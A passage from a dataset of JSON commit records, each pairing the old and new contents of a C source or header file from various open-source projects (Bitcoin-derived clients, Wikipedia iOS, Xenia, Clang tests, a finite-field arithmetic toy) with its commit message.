eart\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,mrhmouse\/Varnish-Cache,mrhmouse\/Varnish-Cache,drwilco\/varnish-cache-old,1HLtd\/Varnish-Cache,feld\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish,franciscovg\/Varnish-Cache,alarky\/varnish-cache-doc-ja,alarky\/varnish-cache-doc-ja,drwilco\/varnish-cache-old,ssm\/pkg-varnish,chrismoulton\/Varnish-Cache,varnish\/Varnish-Cache,alarky\/varnish-cache-doc-ja"}
{"commit":"79d2c8944e8cb838cf6fba47d8f857672f05855d","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    0\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    1\n#define CLIENT_VERSION_BUILD       99\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Switch version numbers to 0.8.1.99","message":"Switch version numbers to 0.8.1.99\n","lang":"C","license":"mit","repos":"bmp02050\/ReddcoinUpdates,ahmedbodi\/poscoin,reddcoin-project\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_19-10_cannacoin,bmp02050\/ReddcoinUpdates,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,reddink\/reddcoin,bmp02050\/ReddcoinUpdates,reddink\/reddcoin,reddink\/reddcoin,Cannacoin-Project\/Cannacoin,joroob\/reddcoin,ahmedbodi\/poscoin,Cannacoin-Project\/Cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,coinkeeper\/2015-06-22_18-46_reddcoin,reddcoin-project\/reddcoin,reddcoin-project\/reddcoin,bmp02050\/ReddcoinUpdates,reddcoin-project\/reddcoin,Cannacoin-Project\/Cannacoin,reddcoin-project\/reddcoin,Cannacoin-Project\/Cannacoin,reddcoin-project\/reddcoin,ahmedbodi\/poscoin,Cannacoin-Project\/Cannacoin,reddink\/reddcoin,joroob\/reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,bmp02050\/ReddcoinUpdates,ahmedbodi\/poscoin,coinkeeper\/2015-06-22_18-46_reddcoin,coinkeeper\/2015-06-22_18-46_reddcoin,coinkeeper\/2015-06-22_19-10_cannacoin,coinkeeper\/2015-06-22_18-46_reddcoin,joroob\/reddcoin,ahmedbodi\/poscoin,reddink\/reddcoin,joroob\/reddcoin"}
{"commit":"486c59553f64771f7bc1c984324b71442b45dfa2","old_file":"TDTChocolate\/TDTCoreDataAdditions.h","new_file":"TDTChocolate\/TDTCoreDataAdditions.h","old_contents":"#import \"CoreDataAdditions\/NSManagedObject+TDTAdditions.h\"\n#import \"CoreDataAdditions\/NSManagedObjectContext+TDTAdditions.h\"\n#import \"CoreDataAdditions\/TDTCoreDataUtilityMacros.h\"\n\n#ifdef TARGET_IPHONE_OS\n  #import \"CoreDataAdditions\/NSFetchedResultsController+TDTAdditions.h\"\n#endif\n","new_contents":"#import \"CoreDataAdditions\/NSManagedObject+TDTAdditions.h\"\n#import \"CoreDataAdditions\/NSManagedObjectContext+TDTAdditions.h\"\n#import \"CoreDataAdditions\/TDTCoreDataUtilityMacros.h\"\n\n#import \"TargetConditionals.h\"\n#if TARGET_OS_IPHONE\n  #import \"CoreDataAdditions\/NSFetchedResultsController+TDTAdditions.h\"\n#endif\n","subject":"Fix conditional compilation mechanism for ios","message":"Fix conditional compilation mechanism for ios\n","lang":"C","license":"bsd-3-clause","repos":"talk-to\/Chocolate,talk-to\/Chocolate"}
{"commit":"526b46b04e52247275453fca4d3c8c94d45cb91b","old_file":"std\/fp16.h","new_file":"std\/fp16.h","old_contents":"","new_contents":"#ifndef __STD_FP16_H__\n#define __STD_FP16_H__\n\ntypedef struct {\n  int16_t integer;\n  uint16_t fraction;\n} Q16T;\n\nvoid CastFloatQ16(Q16T *result asm(\"a0\"), float value asm(\"fp0\"));\nvoid CastIntQ16(Q16T *result asm(\"a0\"), int value asm(\"d0\"));\nvoid IAddQ16(Q16T *result asm(\"a0\"), Q16T value asm(\"d0\"));\n\n#endif\n","subject":"Add stubs for fp 16.16 handling rountines.","message":"Add stubs for fp 16.16 handling rountines.\n","lang":"C","license":"artistic-2.0","repos":"cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene,cahirwpz\/demoscene"}
{"commit":"78604e09580cac8f6e3adcb79e250adad46b04f7","old_file":"Wikipedia\/Code\/WKScriptMessage+WMFScriptMessage.h","new_file":"Wikipedia\/Code\/WKScriptMessage+WMFScriptMessage.h","old_contents":"#import <WebKit\/WebKit.h>\n\ntypedef NS_ENUM (NSInteger, WMFWKScriptMessageType) {\n    WMFWKScriptMessagePeek,\n    WMFWKScriptMessageConsoleMessage,\n    WMFWKScriptMessageClickLink,\n    WMFWKScriptMessageClickImage,\n    WMFWKScriptMessageClickReference,\n    WMFWKScriptMessageClickEdit,\n    WMFWKScriptMessageNonAnchorTouchEndedWithoutDragging,\n    WMFWKScriptMessageLateJavascriptTransform,\n    WMFWKScriptMessageArticleState,\n    WMFWKScriptMessageUnknown\n};\n\n@interface WKScriptMessage (WMFScriptMessage)\n\n+ (WMFWKScriptMessageType)wmf_typeForMessageName:(NSString*)name;\n+ (Class)wmf_expectedMessageBodyClassForType:(WMFWKScriptMessageType)type;\n\n@end\n","new_contents":"#import <WebKit\/WebKit.h>\n\ntypedef NS_ENUM (NSInteger, WMFWKScriptMessageType) {\n    WMFWKScriptMessageUnknown,\n    WMFWKScriptMessagePeek,\n    WMFWKScriptMessageConsoleMessage,\n    WMFWKScriptMessageClickLink,\n    WMFWKScriptMessageClickImage,\n    WMFWKScriptMessageClickReference,\n    WMFWKScriptMessageClickEdit,\n    WMFWKScriptMessageNonAnchorTouchEndedWithoutDragging,\n    WMFWKScriptMessageLateJavascriptTransform,\n    WMFWKScriptMessageArticleState\n};\n\n@interface WKScriptMessage (WMFScriptMessage)\n\n+ (WMFWKScriptMessageType)wmf_typeForMessageName:(NSString*)name;\n+ (Class)wmf_expectedMessageBodyClassForType:(WMFWKScriptMessageType)type;\n\n@end\n","subject":"Move unknown enum entry to top.","message":"Move unknown enum entry to top.\n","lang":"C","license":"mit","repos":"montehurd\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,wikimedia\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,wikimedia\/wikipedia-ios,julienbodet\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,wikimedia\/apps-ios-wikipedia,josve05a\/wikipedia-ios,josve05a\/wikipedia-ios,montehurd\/apps-ios-wikipedia,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,josve05a\/wikipedia-ios,anirudh24seven\/wikipedia-ios,wikimedia\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,montehurd\/apps-ios-wikipedia,anirudh24seven\/wikipedia-ios,montehurd\/apps-ios-wikipedia,montehurd\/apps-ios-wikipedia,julienbodet\/wikipedia-ios,wikimedia\/wikipedia-ios,anirudh24seven\/wikipedia-ios,anirudh24seven\/wikipedia-ios,julienbodet\/wikipedia-ios,montehurd\/apps-ios-wikipedia,wikimedia\/wikipedia-ios"}
{"commit":"ad63f95e203ba5f5fe7e9fc5abf3c357a79d014f","old_file":"examples\/consume-compare-test.c","new_file":"examples\/consume-compare-test.c","old_contents":"","new_contents":"#define REQUIRE_EXPLICIT_ATOMICS 1\n#include \"rmc.h\"\n\nint foo;\n\n\/\/ LLVM will want to propagate the knowledge that p == &foo into the\n\/\/ conditional, breaking our chain. We need to make sure that doesn't\n\/\/ happen. The optimization is performed by -gvn.\nint test(_Rmc(int *)* pp) {\n    XEDGE(a, b);\n    int *p = L(a, rmc_load(pp));\n    if (p == &foo) {\n        return L(b, *p);\n    }\n    return -1;\n}\n","subject":"Add a (broken) test for consume-style things where we compare the pointer.","message":"Add a (broken) test for consume-style things where we compare the pointer.\n","lang":"C","license":"mit","repos":"msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler,msullivan\/rmc-compiler"}
{"commit":"bc8356bb8359e531c793a2c9fc4a0e46c34361f3","old_file":"src\/xenia\/base\/bit_field.h","new_file":"src\/xenia\/base\/bit_field.h","old_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2017 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_BASE_BIT_FIELD_H_\n#define XENIA_BASE_BIT_FIELD_H_\n\n#include <cstdint>\n#include <cstdlib>\n#include <type_traits>\n\nnamespace xe {\n\n\/\/ Bitfield, where position starts at the LSB.\ntemplate <typename T, size_t position, size_t n_bits>\nstruct bf {\n  bf() = default;\n  inline operator T() const { return value(); }\n\n  inline T value() const {\n    return static_cast<T>((storage & mask()) >> position);\n  }\n\n  \/\/ For enum values, we strip them down to an underlying type.\n  typedef\n      typename std::conditional<std::is_enum<T>::value, std::underlying_type<T>,\n                                std::identity<T>>::type::type value_type;\n  inline value_type mask() const {\n    return (((value_type)~0) >> (8 * sizeof(value_type) - n_bits)) << position;\n  }\n\n  value_type storage;\n};\n\n}  \/\/ namespace xe\n\n#endif  \/\/ XENIA_BASE_BIT_FIELD_H_","new_contents":"\/**\n ******************************************************************************\n * Xenia : Xbox 360 Emulator Research Project                                 *\n ******************************************************************************\n * Copyright 2017 Ben Vanik. All rights reserved.                             *\n * Released under the BSD license - see LICENSE in the root for more details. *\n ******************************************************************************\n *\/\n\n#ifndef XENIA_BASE_BIT_FIELD_H_\n#define XENIA_BASE_BIT_FIELD_H_\n\n#include <cstdint>\n#include <cstdlib>\n#include <type_traits>\n\nnamespace xe {\n\n\/\/ Bitfield, where position starts at the LSB.\ntemplate <typename T, size_t position, size_t n_bits>\nstruct bf {\n  bf() = default;\n  inline operator T() const { return value(); }\n\n  inline T value() const {\n    return static_cast<T>((storage & mask()) >> position);\n  }\n\n  \/\/ For enum values, we strip them down to an underlying type.\n  typedef\n      typename std::conditional<std::is_enum<T>::value, std::underlying_type<T>,\n                                std::remove_reference<T>>::type::type\n          value_type;\n  inline value_type mask() const {\n    return (((value_type)~0) >> (8 * sizeof(value_type) - n_bits)) << position;\n  }\n\n  value_type storage;\n};\n\n}  \/\/ namespace xe\n\n#endif  \/\/ XENIA_BASE_BIT_FIELD_H_\n","subject":"Remove usage of non standard identity struct","message":"Remove usage of non standard identity struct\n\nstd::identity was removed from the standards, but Visual Studio kept\nit as an extension.\n\nReplace it by std::remove_reference, which does just a little bit\nmore than std::identity does, but without impact in this case.\n","lang":"C","license":"bsd-3-clause","repos":"sephiroth99\/xenia,sephiroth99\/xenia,sephiroth99\/xenia"}
{"commit":"c6813f627f8facb973616f1cec551013b46ebb00","old_file":"bin\/check_it.c","new_file":"bin\/check_it.c","old_contents":"#include <stdio.h>  \n#include <unistd.h>  \n#include <stdlib.h>\n#include <pwd.h>\n\nint main(int argc, char** argv) {\n    struct passwd *passwd = getpwuid(getuid());\n    int errno = setreuid(geteuid(), geteuid());\n\n\/\/    errno = execle(\"\/usr\/bin\/id\", (char *) 0, envp);\n\n    if (errno == 0 && passwd != 0) {\n       \/\/ CHECKIT_USER will contain the name of the user that invoked us.\n       char user_evar[100];\n       snprintf(user_evar, 80, \"CHECKIT_USER=%s\", passwd->pw_name);\n\n       \/\/ Use a nice clean PATH.\n       char * envp[] = { \n            \"PATH=\/bin:\/usr\/bin\"\n            , \"HOME=\/home2\/ling572_00\"\n            , \"JAVA_HOME=\/usr\/java\/latest\"\n            , \"JAVA_OPTS=-Xmx300m -Xms140m\"\n            , user_evar\n            , (char *) 0 };\n\n       \/\/ Do it!\n       errno = execve(\"\/home2\/ling572_00\/Projects\/CheckIt\/bin\/check_it.groovy\", argv, envp);\n    }\n\n    printf(\"An error occured %d\\n\", errno);  \n\n    return errno;  \n}  \n","new_contents":"#include <stdio.h>  \n#include <unistd.h>  \n#include <stdlib.h>\n#include <pwd.h>\n\nint main(int argc, char** argv) {\n    struct passwd *passwd = getpwuid(getuid());\n    int errno = setreuid(geteuid(), geteuid());\n\n\/\/    errno = execle(\"\/usr\/bin\/id\", (char *) 0, envp);\n\n    if (errno == 0 && passwd != 0) {\n       \/\/ CHECKIT_USER will contain the name of the user that invoked us.\n       char user_evar[100];\n       snprintf(user_evar, 80, \"CHECKIT_USER=%s\", passwd->pw_name);\n\n       \/\/ Use a nice clean PATH.\n       char * envp[] = { \n            \"PATH=\/bin:\/usr\/bin\"\n            , \"HOME=\/home2\/ling572_00\"\n            , \"JAVA_HOME=\/usr\/java\/latest\"\n            , \"JAVA_OPTS=-Xmx300m -Xms140m\"\n            , \"LC_ALL=en_US.UTF-8\"\n            , user_evar\n            , (char *) 0 };\n\n       \/\/ Do it!\n       errno = execve(\"\/home2\/ling572_00\/Projects\/CheckIt\/bin\/check_it.groovy\", argv, envp);\n    }\n\n    printf(\"An error occured %d\\n\", errno);  \n\n    return errno;  \n}  \n","subject":"Set LC_ALL to UTF-8 so that SSH is clean.","message":"Set LC_ALL to UTF-8 so that SSH is clean.\n","lang":"C","license":"agpl-3.0","repos":"jimwhite\/CheckIt,jimwhite\/CheckIt,jimwhite\/CheckIt,jimwhite\/CheckIt"}
{"commit":"c4f3c0153378f2a49adf47940d4de489642d8be1","old_file":"src\/common\/matrix.h","new_file":"src\/common\/matrix.h","old_contents":"#ifndef COMMON_MATRIX_H\n#define COMMON_MATRIX_H\n\n\/* \n * Printipi\/common\/matrix.h\n * (c) 2014 Colin Wallace\n *\n * This file exposes classes and templates used to construct 3x3 matrices.\n * Matrices are useful in applying linear transformations. Notably, they can be used to adjust coordinates to a different coordinate-space in order to account for an unlevel bed.\n *\/\n\n\n\nclass Matrix3x3 {\n    float a00, a01, a02;\n    float a10, a11, a12;\n    float a20, a21, a22;\n    public:\n        Matrix3x3() : a00(0), a01(0), a02(0), a10(0), a11(0), a12(0), a20(0), a21(0), a22(0) {}\n        Matrix3x3(float a00, float a01, float a02,\n                float a10, float a11, float a12,\n                float a20, float a21, float a22) :\n            a00(a00), a01(a01), a02(a02),\n            a10(a10), a11(a11), a12(a12),\n            a20(a20), a21(a21), a22(a22) {}\n        template <typename VecT> VecT transform(const VecT &xyz) const {\n            return VecT(\n                a00*xyz.x() + a01*xyz.y() + a02*xyz.z(),\n                a10*xyz.x() + a11*xyz.y() + a12*xyz.z(),\n                a20*xyz.x() + a21*xyz.y() + a22*xyz.z()\n            );\n    }\n\n};\n\n#endif\n","new_contents":"#ifndef COMMON_MATRIX_H\n#define COMMON_MATRIX_H\n\n#include \"common\/vector3.h\"\n\n\n\/*\n * Matrices are useful in applying linear transformations. \n * Notably, they can be used to adjust coordinates to a different coordinate-space in order to account for an unlevel bed.\n *\/\nclass Matrix3x3 {\n    \/\/r0, r1, r2 each represent one row of the matrix.\n    Vector3f r0, r1, r2;\n    public:\n        Matrix3x3() : r0(), r1(), r2() {}\n        Matrix3x3(float a00, float a01, float a02,\n                float a10, float a11, float a12,\n                float a20, float a21, float a22) :\n            r0(a00, a01, a02),\n            r1(a10, a11, a12),\n            r2(a20, a21, a22) {}\n        template <typename VecT> VecT transform(const VecT &xyz) const {\n            return VecT(r0.dot(xyz), r1.dot(xyz), r2.dot(xyz));\n    }\n\n};\n\n#endif\n","subject":"Refactor Matrix3x3 to internally use Vector3's","message":"Refactor Matrix3x3 to internally use Vector3's\n","lang":"C","license":"mit","repos":"harry159821\/printipi,Wallacoloo\/printipi,Wallacoloo\/printipi,harry159821\/printipi,Igor-Rast\/printipi,Igor-Rast\/printipi,harry159821\/printipi,Igor-Rast\/printipi,harry159821\/printipi,Wallacoloo\/printipi,Igor-Rast\/printipi,Wallacoloo\/printipi"}
{"commit":"ec2c60ee36437d0bf817a836aa78130087c36fc7","old_file":"bcl\/stm\/src\/main.c","new_file":"bcl\/stm\/src\/main.c","old_contents":"#include <bc_scheduler.h>\n#include <bc_module_core.h>\n#include <stm32l0xx.h>\n\nvoid application_init(void);\nvoid application_task(void *param);\n\nint main(void)\n{\n    bc_module_core_init();\n\n    bc_scheduler_init();\n\n    application_init();\n\n    bc_scheduler_register(application_task, NULL, 0);\n\n    bc_scheduler_run();\n}\n\n__attribute__((weak)) void application_init(void)\n{\n\n}\n\n__attribute__((weak)) void application_task(void *param)\n{\n    (void) param;\n}\n","new_contents":"#include <bc_scheduler.h>\n#include <bc_module_core.h>\n#include <stm32l0xx.h>\n\nvoid application_init(void);\nvoid application_task(void *param);\n\nint main(void)\n{\n    bc_module_core_init();\n\n    bc_scheduler_init();\n\n    bc_scheduler_register(application_task, NULL, 0);\n\n    application_init();\n\n    bc_scheduler_run();\n}\n\n__attribute__((weak)) void application_init(void)\n{\n\n}\n\n__attribute__((weak)) void application_task(void *param)\n{\n    (void) param;\n}\n","subject":"Move app_task() scheduler registration before app_init() so app_task() has task_id 0","message":"Move app_task() scheduler registration before app_init() so app_task() has task_id 0\n","lang":"C","license":"mit","repos":"bigclownlabs\/bc-core-module-sdk,bigclownlabs\/bc-core-module-sdk,bigclownlabs\/bc-core-module-sdk"}
{"commit":"2d12b42eb6dda7dcf6e4088201c754842b4b50b2","old_file":"arp.h","new_file":"arp.h","old_contents":"","new_contents":"#ifndef ARP_H_\n#define ARP_H_\n\/*\n * Address Resolution Protocol.\n * See RFC 826 for protocol description.\n * - https:\/\/tools.ietf.org\/html\/rfc826\n *\/\nstruct arphdr {\n\tuint16_t ar_hrd;\t\/* hardware type, one of: *\/\n#define ARPHRD_ETHER \t1\t\/* ethernet *\/\n#define ARPHRD_FRELAY \t15\t\/* frame relay *\/\n\n\tuint16_t ar_pro;\t\/* protocol type *\/\n\tuint8_t\t ar_hln;\t\/* length of hardware address *\/\n\tuint8_t\t ar_pln;\t\/* length of protocol address *\/\n\tuint16_t ar_op;\t\t\/* arp opcode, one of: *\/\n#define\tARPOP_REQUEST\t 1\t\/* arp request *\/\n#define\tARPOP_REPLY\t 2\t\/* arp reply *\/\n#define\tARPOP_REVREQUEST 3\t\/* rarp request *\/\n#define\tARPOP_REVREPLY\t 4\t\/* rarp reply *\/\n#define ARPOP_INVREQUEST 8 \t\/* InArp request *\/\n#define ARPOP_INVREPLY\t 9\t\/* InArp reply *\/\n\/*\n * The remaining fields are variable in size,\n * according to the sizes above.\n *\/\n#ifdef COMMENT_ONLY\n\tuint8_t\tar_sha[];\t\/* sender hardware address *\/\n\tuint8_t\tar_spa[];\t\/* sender protocol address *\/\n\tuint8_t\tar_tha[];\t\/* target hardware address *\/\n\tuint8_t\tar_tpa[];\t\/* target protocol address *\/\n#endif\n};\n\n#endif \/* end of include guard: ARP_H_ *\/\n","subject":"Add a structure that defines ARP headers","message":"Add a structure that defines ARP headers\n","lang":"C","license":"bsd-3-clause","repos":"cakturk\/unet,cakturk\/unet,cakturk\/unet"}
{"commit":"ba93087ebd43c0f7b3e980dc9e49a9313d9c9f01","old_file":"test\/Analysis\/malloc.c","new_file":"test\/Analysis\/malloc.c","old_contents":"\/\/ RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s\n#include <stdlib.h>\n\nvoid f1() {\n  int *p = malloc(10);\n  return; \/\/ expected-warning{{Allocated memory never released. Potential memory leak.}}\n}\n\nvoid f2() {\n  int *p = malloc(10);\n  free(p);\n  free(p); \/\/ expected-warning{{Try to free a memory block that has been released}}\n}\n","new_contents":"\/\/ RUN: clang-cc -analyze -analyzer-experimental-internal-checks -checker-cfref -analyzer-experimental-checks -analyzer-store=region -verify %s\n#include <stdlib.h>\n\nvoid f1() {\n  int *p = malloc(10);\n  return; \/\/ expected-warning{{Allocated memory never released. Potential memory leak.}}\n}\n\n\/\/ THIS TEST CURRENTLY FAILS.\nvoid f1_b() {\n  int *p = malloc(10);\n}\n\nvoid f2() {\n  int *p = malloc(10);\n  free(p);\n  free(p); \/\/ expected-warning{{Try to free a memory block that has been released}}\n}\n","subject":"Add test case that shows a leak we don't catch.","message":"Add test case that shows a leak we don't catch.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@88683 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"9c0a2f00ec83264534269aab1b97dc7f78bd2a4d","old_file":"testing\/test_hashmap.c","new_file":"testing\/test_hashmap.c","old_contents":"#include <CUnit\/CUnit.h>\n#include <CUnit\/Basic.h>\n#include <utils\/hashmap.h>\n\nvoid test_hashmap_create(void) {\n    return;\n}\n\nint main(int argc, char **argv) {\n    CU_pSuite suite = NULL;\n\n    if(CU_initialize_registry() != CUE_SUCCESS) {\n        return CU_get_error();\n    }\n\n    \/\/ Init suite\n    suite = CU_add_suite(\"Hashmap\", NULL, NULL);\n    if(suite == NULL) {\n        goto end;\n    }\n    \n    \/\/ Add tests\n    if(CU_add_test(suite, \"test of hashmap_create\", test_hashmap_create) == NULL) { goto end; }\n\n    \/\/ Run tests\n    CU_basic_set_mode(CU_BRM_VERBOSE);\n    CU_basic_run_tests();\n   \nend:\n    CU_cleanup_registry();\n    return CU_get_error();\n}\n","new_contents":"#include <CUnit\/CUnit.h>\n#include <CUnit\/Basic.h>\n#include <utils\/hashmap.h>\n\nvoid test_hashmap_create(void) {\n    return;\n}\n\nvoid test_hashmap_free(void) {\n    return;\n}\n\nvoid test_hashmap_delete(void) {\n    return;\n}\n\nvoid test_hashmap_insert(void) {\n    return;\n}\n\nvoid test_hashmap_get(void) {\n    return;\n}\n\nvoid test_hashmap_iterator(void) {\n    return;\n}\n\nint main(int argc, char **argv) {\n    CU_pSuite suite = NULL;\n    if(CU_initialize_registry() != CUE_SUCCESS) {\n        return CU_get_error();\n    }\n\n    \/\/ Init suite\n    suite = CU_add_suite(\"Hashmap\", NULL, NULL);\n    if(suite == NULL) {\n        goto end;\n    }\n    \n    \/\/ Add tests\n    if(CU_add_test(suite, \"Test for hashmap create\", test_hashmap_create) == NULL) { goto end; }\n    if(CU_add_test(suite, \"Test for hashmap delete operation\", test_hashmap_delete) == NULL) { goto end; }\n    if(CU_add_test(suite, \"Test for hashmap insert operation\", test_hashmap_insert) == NULL) { goto end; }\n    if(CU_add_test(suite, \"Test for hashmap get operation\", test_hashmap_get) == NULL) { goto end; }\n    if(CU_add_test(suite, \"Test for hashmap iterator\", test_hashmap_iterator) == NULL) { goto end; }\n    if(CU_add_test(suite, \"Test for hashmap free operation\", test_hashmap_free) == NULL) { goto end; }\n    \n    \/\/ Run tests\n    CU_basic_set_mode(CU_BRM_VERBOSE);\n    CU_basic_run_tests();\n   \nend:\n    CU_cleanup_registry();\n    return CU_get_error();\n}\n","subject":"Add some more test function stubs","message":"Add some more test function stubs\n","lang":"C","license":"mit","repos":"pmjdebruijn\/openomf,gdeda\/openomf,omf2097\/openomf,pmjdebruijn\/openomf,omf2097\/openomf,omf2097\/openomf,gdeda\/openomf,pmjdebruijn\/openomf,gdeda\/openomf"}
{"commit":"ceec0a0fc3e0d263641ab546f84a2ff14a2b3adf","old_file":"includes\/sv-comp.c","new_file":"includes\/sv-comp.c","old_contents":"void __VERIFIER_error() { abort(); }\n\n\/\/ Some files define __VERIFIER_assume, some declare as extern. What happens when redefined?\nvoid __VERIFIER_assume(int expression) { if (!expression) { LOOP: goto LOOP; }; return; }\n\n\/\/ #define __VERIFIER_nondet(X) X __VERIFIER_nondet_##X() { X val; return val; }\n#define __VERIFIER_nondet2(X, Y) X __VERIFIER_nondet_##Y() { X val; return val; }\n#define __VERIFIER_nondet(X) __VERIFIER_nondet2(X, X)\n\n__VERIFIER_nondet2(_Bool, bool)\n__VERIFIER_nondet(char)\n__VERIFIER_nondet2(unsigned char, uchar)\n\/\/ int __VERIFIER_nondet_int() { int val; return val; }\n__VERIFIER_nondet(int)\n__VERIFIER_nondet2(unsigned int, uint)\n__VERIFIER_nondet(long)\n__VERIFIER_nondet2(unsigned long, ulong)\n\/\/ void* __VERIFIER_nondet_pointer() { void* val; return val; }\n__VERIFIER_nondet2(void*, pointer)","new_contents":"void __VERIFIER_error() { abort(); }\n\n\/\/ Some files define __VERIFIER_assume, some declare as extern. What happens when redefined?\nvoid __VERIFIER_assume(int expression) { if (!expression) { LOOP: goto LOOP; }; return; }\n\n\/\/ #define __VERIFIER_nondet(X) X __VERIFIER_nondet_##X() { X val; return val; }\n#define __VERIFIER_nondet2(X, Y) X __VERIFIER_nondet_##Y() { X val; return val; }\n#define __VERIFIER_nondet(X) __VERIFIER_nondet2(X, X)\n\n__VERIFIER_nondet2(_Bool, bool)\n__VERIFIER_nondet(char)\n__VERIFIER_nondet2(unsigned char, uchar)\n\/\/ int __VERIFIER_nondet_int() { int val; return val; }\n__VERIFIER_nondet(int)\n__VERIFIER_nondet2(unsigned int, uint)\n__VERIFIER_nondet(long)\n__VERIFIER_nondet2(unsigned long, ulong)\n\/\/ void* __VERIFIER_nondet_pointer() { void* val; return val; }\n__VERIFIER_nondet2(void*, pointer)\n\nvoid __VERIFIER_atomic_begin() { } \/\/ TODO: use atomic marker in Goblint\nvoid __VERIFIER_atomic_end() { } \/\/ TODO: use atomic marker in Goblint","subject":"Add empty definitions for __VERIFIER_atomic_begin and end","message":"Add empty definitions for __VERIFIER_atomic_begin and end\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"4b42be91379a1fdf0262e099e061d5855291df5c","old_file":"ecc.c","new_file":"ecc.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n\/\/ Chunk of a finite field element.\ntypedef unsigned char chunk;\n\/\/ Number of chunks per element.\n#define N 10\n\/\/ A finite field element.\ntypedef struct { chunk v[N]; }* number;\n\/\/ Helper macro.\n#define FOR(i) for (int i = 0; i < N; i++)\n\nnumber new_number() {\n    number n = malloc(sizeof(number));\n    FOR(i) {\n        n->v[i] = 0x00;\n    }\n    return n;\n}\n\nvoid print(char* label, number n) {\n    printf(\"%s: \", label);\n    for (int i = N - 1; i >= 0; i--) {\n        printf(\"%02x\", n->v[i]);\n    } \n    printf(\"\\n\");\n}\n\nvoid add(number a, number b, number result) {\n    chunk carry = 0;\n    chunk sum;\n    FOR(i) {\n        sum = a->v[i] + b->v[i] + carry;\n        carry = sum < a->v[i] || (sum == a->v[i] && b->v[i] != 0);\n        result->v[i] = sum;\n    }\n}\n\nvoid sub(number a, number b, number result) {\n    chunk carry = 0;\n    chunk sum;\n    FOR(i) {\n        sum = a->v[i] - b->v[i] - carry;\n        carry = a->v[i] < b->v[i] || sum > a->v[i];\n        result->v[i] = sum;\n    }\n}\n\nint main() {\n    number a = new_number();\n    a->v[0] = 0x01;\n    number b = new_number();\n    b->v[0] = 0xFF;\n    b->v[1] = 0xFF;\n    number c = new_number();\n    print(\"a\", a);\n    print(\"b\", b);\n    add(a, b, c);\n    print(\"a+b\", c);\n    sub(c, b, c);\n    print(\"a+b-b\", c);\n    c->v[0] = 0x00;\n    print(\"c\", c);\n    sub(c, a, c);\n    print(\"-a\", c);\n}\n","subject":"Add finite field operations in c","message":"Add finite field operations in c\n","lang":"C","license":"mit","repos":"boppreh\/ecc,boppreh\/ecc"}
